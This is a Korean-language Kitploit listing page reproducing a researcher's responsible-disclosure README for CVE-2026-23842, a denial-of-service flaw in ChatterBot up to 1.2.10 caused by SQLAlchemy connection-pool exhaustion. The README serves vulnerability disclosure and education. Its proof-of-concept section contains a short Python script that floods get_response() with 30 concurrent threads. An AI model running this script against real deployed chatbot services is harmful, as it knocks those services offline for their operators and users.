Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23842-Denial-of-Service-via-Database-Connection-Pool-Exhaustion-version-1.2.10 — CVE-2026-23842 — ChatterBot ≤ 1.2.10에서 동시 get_response() 호출 시 SQLAlchemy 연결 풀 고갈로 인해 발생하는 높은 심각도의 서비스 거부(Denial-of-Service) 취약점. | Kitploit
도구/GitHubGitHub/adityabhatt3010/cve-2026-23842-denial-of-service-via-database-connection-pool-exhaustion-version-1.2.10
Vulnerability AnalysisExploitationLearning & Education
GitHubadityabhatt3010/cve-2026-23842-denial-of-service-via-database-connection-pool-exhaustion-version-1.2.10

CVE-2026-23842-Denial-of-Service-via-Database-Connection-Pool-Exhaustion-version-1.2.10

CVE-2026-23842 — ChatterBot ≤ 1.2.10에서 동시 get_response() 호출 시 SQLAlchemy 연결 풀 고갈로 인해 발생하는 높은 심각도의 서비스 거부(Denial-of-Service) 취약점.

저장소 보기
25개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-23842

≤ 1.2.10 버전의 데이터베이스 연결 풀 고갈로 인한 서비스 거부(Denial of Service)

📌 개요

이 저장소는 ChatterBot의 높은 심각도 서비스 거부(Denial-of-Service) 취약점인 CVE-2026-23842에 대한 제 발견 및 책임 있는 공개(Responsible Disclosure) 과정을 문서화합니다.

  • GitHub Advisory: GHSA-v4w8-49pv-mf72
  • CVE ID: CVE-2026-23842
  • CWE: CWE-400 (통제되지 않은 리소스 소비)
  • 심각도: 높음 (7.5 / 10)
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

a-hyper-detailed-cinematic-cyberpunk-ill_1YpmQcKtTGuYYByf5li18A_s2g_3oZVSIyO44oyprigwQ_cover_sd


🚨 취약점 요약

ChatterBot 버전 ≤ 1.2.10은 부적절한 데이터베이스 세션 및 연결 풀 관리로 인한 서비스 거부(Denial-of-Service) 조건에 취약합니다.

다음의 동시 호출:

root@kitploit:~
get_response()

은(는) 기본 SQLAlchemy QueuePool을 고갈시켜 다음과 같은 결과를 초래할 수 있습니다:

  • 애플리케이션 중단
  • sqlalchemy.exc.TimeoutError
  • 지속적인 서비스 이용 불가
  • 복구를 위한 수동 재시작 필요

🎯 영향을 받는 버전

root@kitploit:~
<= 1.2.10

✅ 패치된 버전

root@kitploit:~
>= 1.2.11

🧠 기술적 근본 원인

ChatterBot은 데이터베이스 상호작용을 위해 SQLAlchemy에 의존하며 기본 연결 풀 구성을 사용합니다.

그러나:

  • 동시성 제한 없음
  • 요청 속도 제한 없음
  • 명시적 세션 수명주기 강제 없음
  • 기본 QueuePool 한도

여러 스레드가 동시에 get_response()를 호출하면:

  1. 풀에서 연결이 빠르게 체크아웃됨
  2. 연결이 충분히 빠르게 해제되지 않음
  3. 풀 용량에 도달함
  4. 추가 요청이 차단됨
  5. SQLAlchemy가 TimeoutError를 발생시킴

이로 인해 서비스 전반에 걸친 가용성 거부가 발생합니다.


🔬 개념 증명 (PoC)

PoC 스크립트

root@kitploit:~
from chatterbot import ChatBot
import threading

bot = ChatBot("dos-test")

def attack():
    bot.get_response("hello")

threads = []

for _ in range(30):
    t = threading.Thread(target=attack)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

🎥 PoC 영상 시연

다음 영상은 다음을 시연합니다:

  • 동시 스레드 실행
  • SQLAlchemy QueuePool 고갈
  • TimeoutError 예외
  • 애플리케이션 응답 없음

🔗 PoC 영상: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f


🌐 공격 표면

다음과 같이 배포된 경우:

  • 공개 챗봇 API
  • SaaS 챗봇 서비스
  • 웹 통합 어시스턴트

공격자는 인증 없이 원격으로 이 조건을 트리거할 수 있습니다.


📊 CVSS v3.1 세부 분석

지표값
공격 벡터네트워크
공격 복잡성낮음
필요한 권한없음
사용자 상호작용없음
기밀성없음
무결성없음
가용성높음

📅 책임 있는 공개 타임라인

날짜이벤트
1월 9일취약점 보고
1월 13일유지보수자가 문제 재현
1월 17일Advisory 게시
1월 19일CVE-2026-23842 지정
1월 21일공개 릴리스

🏆 크레딧

발견 및 책임 있는 공개:

Aditya Bhatt VAPT 전문가 CVE-2026-23842 신고자


🔐 책임 있는 공개 성명

이 취약점은 공개 릴리스 이전에 유지보수자에게 책임 있게 공개되었습니다. 패치 제공 이전에는 어떤 익스플로잇도 공개적으로 공유되지 않았습니다.


도구 다운로드